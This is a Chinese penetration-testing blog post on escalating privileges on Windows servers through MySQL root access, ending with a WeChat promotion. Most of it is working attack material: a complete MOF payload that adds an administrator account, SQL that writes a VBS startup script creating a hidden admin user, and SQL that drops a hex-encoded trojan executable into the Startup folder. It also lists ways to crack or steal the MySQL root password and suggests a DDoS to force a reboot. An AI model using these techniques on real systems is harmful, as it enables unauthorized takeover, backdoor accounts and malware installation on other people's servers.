【渗透测试】-服务器提权之mysql提权

0x01:使用mysql给服务器提权,必须先使mysql得到root权限

  • 从数据库配置文件获取root密码
  • 使用工具对root口令进行猜解,有的大马也带这个功能
  • 从数据库文件读取root密码,例如:../data/mysql/user.myd(mysql这个数据库的user表中存储了所有用户的账号信息)

0x02:使用mysql提权

  • udf提权(分为两种类型)

    • 5.1版本之前的mysql,需要将udf.dll导出到“c:/windows”目录下
    • 5.1版本之后的mysql,需要将udf.dll导出到“mysql安装目录/lib/plugin”,不存在该目录即创建之
    • 脚本提权(大马或提权脚本都可以)
  • mof提权

    • mof是mysql的一个漏洞,有可以使用的PoC,将代码写到一个任意文件内,通过mysql的load_file加载文件,然后dumpfile到system32路径下
#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 
保存为:1.mof
然后mysql执行下面
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  • 启动项提权
    • 使用mysql写文件的功能,写一些VBS代码,写到开机自启动中,弊端就是需要服务器重启才能达到提权,可以使用DDOS迫使服务器重启
VBS启动项提权 
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; 
先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。 
还可以这样写: 
create table a (cmd BLOB); 
insert into a values (CONVERT(木马的16进制代码,CHAR)); 
select * from a into dumpfile ’C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe’ 
drop table a; 
执行前3条语句,就可以将木马写进启动里了,前提是木马一定要是16进制,还有就是路径要是\\,因为windows会自动过滤掉一个\

0x03:脚本权限范围

  • jsp:默认就是system权限
  • aspx、pl、cgi、py:相当于user权限
  • asp、php:权限最小

欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。


【渗透测试】-服务器提权之mysql提权_第1张图片

你可能感兴趣的:(【渗透测试】-服务器提权之mysql提权)